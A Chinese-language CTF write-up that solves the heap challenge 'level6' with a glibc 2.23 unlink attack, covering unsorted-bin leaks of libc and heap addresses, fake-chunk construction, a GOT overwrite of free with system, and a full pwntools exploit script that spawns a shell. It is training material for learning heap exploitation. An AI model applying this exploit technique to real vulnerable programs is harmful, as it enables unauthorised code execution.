这道题目加深了我对Unlink攻击的理解,也学习到了Unsortedbin的知识
这种“FD&BK”遗留heap中,覆写一半泄露一半的模式应该会很常见
level6
64位,dynamically,开了NX,开了canary
程序有6个功能,先搭好框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| def print_s(): p.recvuntil('Your choice: ') p.sendline(str(1))
def malloc_s(size,note): p.recvuntil('Your choice: ') p.sendline(str(2)) p.sendlineafter('Length of new note: ',str(size)) p.sendafter('Enter your note: ',note) def edit_s(index,size,note): p.recvuntil('Your choice: ') p.sendline(str(3)) p.sendlineafter('Note number: ',str(index)) p.sendlineafter('Length of note: ',str(size)) p.sendafter('Enter your note: ',note) def free_s(index): p.recvuntil('Your choice: ') p.sendline(str(4)) p.sendlineafter('Note number: ',str(index))
|
入侵思路
“free模块”置空了指针,没有UAF漏洞,但是它只“free”了结构chunk,数据chunk留存出heap中
程序有明显的堆溢出,可以打unlink攻击
先在GDB中分析“结构chunk”和“数据chunk”:
1 2 3 4 5
| malloc_s(0x80,'a'*0x80) malloc_s(0x80,'b'*0x80) malloc_s(0x80,'c'*0x80) pause() free_s(0)
|
1 2 3 4
| pwndbg> x/20xg 0x6020A8 0x6020a8: 0x00000000021872a0 0x0000000000000000 0x6020b8: 0x0000000000000000 0x0000000000000000 0x6020c8: 0x0000000000000000 0x0000000000000000
|
1 2 3 4 5 6 7 8
| pwndbg> x/60xg 0x00000000021872a0 0x21872a0: 0x0000000000000100 0x0000000000000003 0x21872b0: 0x0000000000000001 0x0000000000000080 0x21872c0: 0x0000000002188ac0 0x0000000000000001 0x21872d0: 0x0000000000000080 0x0000000002188b50 0x21872e0: 0x0000000000000001 0x0000000000000080 0x21872f0: 0x0000000002188be0 0x0000000000000000 0x2187300: 0x0000000000000000 0x0000000000000000
|
执行“free_s(0)”前:
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> telescope 0x00000000021872a0 00:0000│ 0x21872a0 ◂— 0x100 01:0008│ 0x21872a8 ◂— 0x3 02:0010│ 0x21872b0 ◂— 0x1 03:0018│ 0x21872b8 ◂— 0x80 04:0020│ 0x21872c0 —▸ 0x2188ac0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 05:0028│ 0x21872c8 ◂— 0x1 06:0030│ 0x21872d0 ◂— 0x80 07:0038│ 0x21872d8 —▸ 0x2188b50 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' 08:0040│ 0x21872e0 ◂— 0x1 09:0048│ 0x21872e8 ◂— 0x80 0a:0050│ 0x21872f0 —▸ 0x2188be0 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc' 0b:0058│ 0x21872f8 ◂— 0x0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| pwndbg> x/200xg 0x2188ab0 0x2188ab0: 0x0000000000000000 0x0000000000000091 0x2188ac0: 0x6161616161616161 0x6161616161616161 0x2188ad0: 0x6161616161616161 0x6161616161616161 0x2188ae0: 0x6161616161616161 0x6161616161616161 0x2188af0: 0x6161616161616161 0x6161616161616161 0x2188b00: 0x6161616161616161 0x6161616161616161 0x2188b10: 0x6161616161616161 0x6161616161616161 0x2188b20: 0x6161616161616161 0x6161616161616161 0x2188b30: 0x6161616161616161 0x6161616161616161 0x2188b40: 0x0000000000000000 0x0000000000000091 0x2188b50: 0x6262626262626262 0x6262626262626262 0x2188b60: 0x6262626262626262 0x6262626262626262 0x2188b70: 0x6262626262626262 0x6262626262626262 0x2188b80: 0x6262626262626262 0x6262626262626262 0x2188b90: 0x6262626262626262 0x6262626262626262 0x2188ba0: 0x6262626262626262 0x6262626262626262 0x2188bb0: 0x6262626262626262 0x6262626262626262 0x2188bc0: 0x6262626262626262 0x6262626262626262 0x2188bd0: 0x0000000000000000 0x0000000000000091 0x2188be0: 0x6363636363636363 0x6363636363636363 0x2188bf0: 0x6363636363636363 0x6363636363636363 0x2188c00: 0x6363636363636363 0x6363636363636363 0x2188c10: 0x6363636363636363 0x6363636363636363 0x2188c20: 0x6363636363636363 0x6363636363636363 0x2188c30: 0x6363636363636363 0x6363636363636363 0x2188c40: 0x6363636363636363 0x6363636363636363 0x2188c50: 0x6363636363636363 0x6363636363636363 0x2188c60: 0x0000000000000000 0x000000000001f3a1
|
执行“free_s(0)”后:
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> telescope 0x0000000001aed010 00:0000│ 0x1aed010 ◂— 0x100 01:0008│ 0x1aed018 ◂— 0x2 02:0010│ 0x1aed020 ◂— 0x0 03:0018│ 0x1aed028 ◂— 0x0 04:0020│ 0x1aed030 —▸ 0x1aee830 —▸ 0x7fc081570b78 (main_arena+88) —▸ 0x1aee9d0 ◂— 0x0 05:0028│ 0x1aed038 ◂— 0x1 06:0030│ 0x1aed040 ◂— 0x80 07:0038│ 0x1aed048 —▸ 0x1aee8c0 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' 08:0040│ 0x1aed050 ◂— 0x1 09:0048│ 0x1aed058 ◂— 0x80 0a:0050│ 0x1aed060 —▸ 0x1aee950 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc' 0b:0058│ 0x1aed068 ◂— 0x0
|
可以发现:原本“chunk1”的数据区被写入了“main_arena+88”(因为这是unsortedbin的特性)
1 2
| unsortedbin all: 0x114d820 —▸ 0x7fb1a8b49b78 (main_arena+88) ◂— 0x114d820
|
PS:只有低libc版本的程序才有这个特性
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> telescope 0x00000000019c12a0 00:0000│ 0x19c12a0 ◂— 0x100 01:0008│ 0x19c12a8 ◂— 0x2 02:0010│ 0x19c12b0 ◂— 0x0 03:0018│ 0x19c12b8 ◂— 0x0 04:0020│ 0x19c12c0 —▸ 0x19c2ac0 ◂— 0x0 05:0028│ 0x19c12c8 ◂— 0x1 06:0030│ 0x19c12d0 ◂— 0x80 07:0038│ 0x19c12d8 —▸ 0x19c2b50 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' 08:0040│ 0x19c12e0 ◂— 0x1 09:0048│ 0x19c12e8 ◂— 0x80 0a:0050│ 0x19c12f0 —▸ 0x19c2be0 ◂— 'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc' 0b:0058│ 0x19c12f8 ◂— 0x0
|
可以利用这个特性来泄露“libc_base”(main_arena的偏移可以在GDB中计算)
为了打Unlink攻击,还需要泄露“list_addr_chunk1”,chunk1的FD指针(这里攻击chunk1)
这时我们这样构造payload,以同时泄露“list_addr_chunk1”和“libc_base”
1 2 3 4 5 6 7 8 9
| malloc_s(0x80,'a'*0x80) malloc_s(0x80,'b'*0x80) malloc_s(0x80,'c'*0x80) malloc_s(0x80,'d'*0x80) free_s(0) free_s(2) pause() malloc_s(8,'yyyyyyyy') malloc_s(8,'xxxxxxxx')
|
执行“free_s”后,执行“malloc_s”前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> telescope 0x0000000000d30010 00:0000│ 0xd30010 ◂— 0x100 01:0008│ 0xd30018 ◂— 0x2 02:0010│ 0xd30020 ◂— 0x0 03:0018│ 0xd30028 ◂— 0x0 04:0020│ 0xd30030 —▸ 0xd31830 —▸ 0x7fde89390b78 (main_arena+88) —▸ 0xd31a60 ◂— 0x0 05:0028│ 0xd30038 ◂— 0x1 06:0030│ 0xd30040 ◂— 0x80 07:0038│ 0xd30048 —▸ 0xd318c0 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' 08:0040│ 0xd30050 ◂— 0x0 09:0048│ 0xd30058 ◂— 0x0 0a:0050│ 0xd30060 —▸ 0xd31950 —▸ 0xd31820 ◂— 0x0 0b:0058│ 0xd30068 ◂— 0x1 0c:0060│ 0xd30070 ◂— 0x80 0d:0068│ 0xd30078 —▸ 0xd319e0 ◂— 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd' 0e:0070│ 0xd30080 ◂— 0x0
|
可以发现:我们想要的两个地址已经在unsortedbin中了:
1 2
| unsortedbin all: 0xd31940 —▸ 0xd31820 —▸ 0x7fde89390b78 (main_arena+88) ◂— 0xd31940
|
1 2 3 4 5
| pwndbg> x/30xg 0xd31940 0xd31940: 0x0000000000000000 0x0000000000000091 0xd31950: 0x0000000000d31820 0x00007fde89390b78 0xd31960: 0x6363636363636363 0x6363636363636363 0xd31970: 0x6363636363636363 0x6363636363636363
|
1 2 3 4 5
| pwndbg> x/30xg 0xd31820 0xd31820: 0x0000000000000000 0x0000000000000091 0xd31830: 0x00007fde89390b78 0x0000000000d31940 0xd31840: 0x6161616161616161 0x6161616161616161 0xd31850: 0x6161616161616161 0x6161616161616161
|
执行“malloc_s”后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> telescope 0x0000000000d30010 00:0000│ 0xd30010 ◂— 0x100 01:0008│ 0xd30018 ◂— 0x4 02:0010│ 0xd30020 ◂— 0x1 03:0018│ 0xd30028 ◂— 0x8 04:0020│ 0xd30030 —▸ 0xd31830 ◂— 0x7979797979797979 ('yyyyyyyy') 05:0028│ 0xd30038 ◂— 0x1 06:0030│ 0xd30040 ◂— 0x80 07:0038│ 0xd30048 —▸ 0xd318c0 ◂— 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb' 08:0040│ 0xd30050 ◂— 0x1 09:0048│ 0xd30058 ◂— 0x8 0a:0050│ 0xd30060 —▸ 0xd31950 ◂— 0x7878787878787878 ('xxxxxxxx') 0b:0058│ 0xd30068 ◂— 0x1 0c:0060│ 0xd30070 ◂— 0x80 0d:0068│ 0xd30078 —▸ 0xd319e0 ◂— 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd' 0e:0070│ 0xd30080 ◂— 0x0
|
由于只写入了“8字节”的数据,所以unsortedbin只被覆盖了FD指针,BK指针的数据得以保留
1 2 3 4 5
| pwndbg> x/30xg 0xd31940 0xd31940: 0x0000000000000000 0x0000000000000091 0xd31950: 0x7878787878787878 0x00007fde89390b78 0xd31960: 0x6363636363636363 0x6363636363636363 0xd31970: 0x6363636363636363 0x6363636363636363
|
1 2 3 4 5
| pwndbg> x/30xg 0xd31820 0xd31820: 0x0000000000000000 0x0000000000000091 0xd31830: 0x7979797979797979 0x0000000000d31940 0xd31840: 0x6161616161616161 0x6161616161616161 0xd31850: 0x6161616161616161 0x6161616161616161
|
unsortedbin特点:
进行数据接收与计算:
“libc_base”:
1 2 3 4
| 0xd30000 0xd52000 rw-p 22000 0 [heap] 0x7fde88fcc000 0x7fde8918c000 r-xp 1c0000 0 /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so 0x7fde8918c000 0x7fde8938c000 ---p 200000 1c0000 /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so 0x7fde8938c000 0x7fde89390000 r--p 4000 1c0000 /home/ywhkkx/tool/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
|
1 2 3 4 5
| In [26]: 0x00007fde89390b78-0x7fde88fcc000 Out[26]: 3951480
In [27]: hex(3951480) Out[27]: '0x3c4b78'
|
“list_addr_chunk1”(chunk1的FD指针):
1 2 3 4 5
| In [41]: 0x0000000000d31940-0xd30030 Out[41]: 6416
In [42]: hex(6416) Out[42]: '0x1910'
|
接下来就可以打Unlink了:
1 2 3 4 5 6 7 8 9 10
| payload=p64(0x0)+p64(0x80) payload+=p64(list_addr_chunk1-0x18)+p64(list_addr_chunk1-0x10) payload=payload.ljust(0x80,'a') payload+=p64(0x80)+p64(0x90) payload+='a'*0x80 payload+=p64(0x90)+p64(0x121) edit_s(0,len(payload),payload) free_s(1)
|
- 设置chunk3为allocate chunk,放置其与chunk2合并
- 原本chunk3为free状态,必须伪造
- 伪造chunk3的presize为合并后的chunk大小(包括chunk1的“size”和“pre_size”)
执行后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| pwndbg> telescope 0x0000000002194010 00:0000│ 0x2194010 ◂— 0x100 01:0008│ 0x2194018 ◂— 0x0 02:0010│ 0x2194020 ◂— 0x1 03:0018│ 0x2194028 ◂— 0x120 04:0020│ 0x2194030 —▸ 0x2194018 ◂— 0x0 05:0028│ 0x2194038 ◂— 0x0 06:0030│ 0x2194040 ◂— 0x0 07:0038│ 0x2194048 —▸ 0x21958c0 ◂— 0x6161616161616161 ('aaaaaaaa') 08:0040│ 0x2194050 ◂— 0x0 09:0048│ 0x2194058 ◂— 0x0 0a:0050│ 0x2194060 —▸ 0x2195950 ◂— 0x7878787878787878 ('xxxxxxxx') 0b:0058│ 0x2194068 ◂— 0x0 0c:0060│ 0x2194070 ◂— 0x0 0d:0068│ 0x2194078 —▸ 0x21959e0 ◂— 'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd' 0e:0070│ 0x2194080 ◂— 0x0
|
接下来就可以模仿“结构chunk”,伪造需要的chunk了:
1 2 3 4 5 6 7
| free_got=elf.got['free'] payload =p64(4)+p64(1)+p64(0x8)+p64(free_got) payload +=p64(1)+p64(0x8)+p64(leak_addr) payload +=p64(1)+p64(0x8)+p64(elf.got['atoi']) payload = payload.ljust(0x120,'\x00') edit_s(0,len(payload),payload)
|
执行后:
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwndbg> telescope 0x0000000000914010 00:0000│ 0x914010 ◂— 0x100 01:0008│ 0x914018 ◂— 0x4 02:0010│ 0x914020 ◂— 0x1 03:0018│ 0x914028 ◂— 0x8 04:0020│ 0x914030 —▸ 0x602018 (free@got.plt) —▸ 0x7f8b519da540 (free) ◂— push r13 05:0028│ 0x914038 ◂— 0x1 06:0030│ 0x914040 ◂— 0x8 07:0038│ 0x914048 —▸ 0x7f8b51d1ab78 (main_arena+88) —▸ 0x9159b0 ◂— 0x6363636363636363 ('cccccccc') 08:0040│ 0x914050 ◂— 0x1 09:0048│ 0x914058 ◂— 0x8 0a:0050│ 0x914060 —▸ 0x602070 (atoi@got.plt) —▸ 0x7f8b5198ce90 (atoi) ◂— sub rsp, 8 0b:0058│ 0x914068 ◂— 0x0
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import*
p=process('./level6') elf=ELF('./level6') libc=ELF('./libc-2.23.so')
atoi_got=elf.got['atoi'] success('atoi_got >> '+hex(atoi_got))
def print_s(): p.recvuntil('Your choice: ') p.sendline(str(1))
def malloc_s(size,note): p.recvuntil('Your choice: ') p.sendline(str(2)) p.sendlineafter('Length of new note: ',str(size)) p.sendafter('Enter your note: ',note) def edit_s(index,size,note): p.recvuntil('Your choice: ') p.sendline(str(3)) p.sendlineafter('Note number: ',str(index)) p.sendlineafter('Length of note: ',str(size)) p.sendafter('Enter your note: ',note) def free_s(index): p.recvuntil('Your choice: ') p.sendline(str(4)) p.sendlineafter('Note number: ',str(index)) list_addr=0x6020A8+0x10
malloc_s(0x80,'a'*0x80) malloc_s(0x80,'b'*0x80) malloc_s(0x80,'c'*0x80) malloc_s(0x80,'d'*0x80) free_s(0) free_s(2) malloc_s(8,'yyyyyyyy') malloc_s(8,'xxxxxxxx')
print_s()
p.recvuntil('y'*8) leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) success('leak_addr >> '+hex(leak_addr)) list_addr_chunk1=leak_addr-0x1910 success('list_addr_chunk1 >> '+hex(list_addr_chunk1))
p.recvuntil('x'*8) leak_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) success('leak_addr >> '+hex(leak_addr)) libc_base=leak_addr-0x3c4b78 system_libc=libc_base+libc.sym['system'] success('libc_base >> '+hex(libc_base)) success('system_libc >> '+hex(system_libc))
free_s(1) free_s(2) free_s(3)
payload=p64(0x0)+p64(0x80) payload+=p64(list_addr_chunk1-0x18)+p64(list_addr_chunk1-0x10) payload=payload.ljust(0x80,'a') payload+=p64(0x80)+p64(0x90) payload+='a'*0x80 payload+=p64(0x90)+p64(0x121) edit_s(0,len(payload),payload) free_s(1)
free_got=elf.got['free'] payload =p64(4)+p64(1)+p64(0x8)+p64(free_got) payload +=p64(1)+p64(0x8)+p64(leak_addr) payload +=p64(1)+p64(0x8)+p64(elf.got['atoi']) payload = payload.ljust(0x120,'\x00') edit_s(0,len(payload),payload)
atoi_addr= libc.sym['atoi'] + libc_base system_addr=libc.sym['system'] + libc_base edit_s(0,0x8,p64(system_addr)) edit_s(1,len("/bin/sh\x00"),"/bin/sh\x00") free_s(1)
p.interactive()
|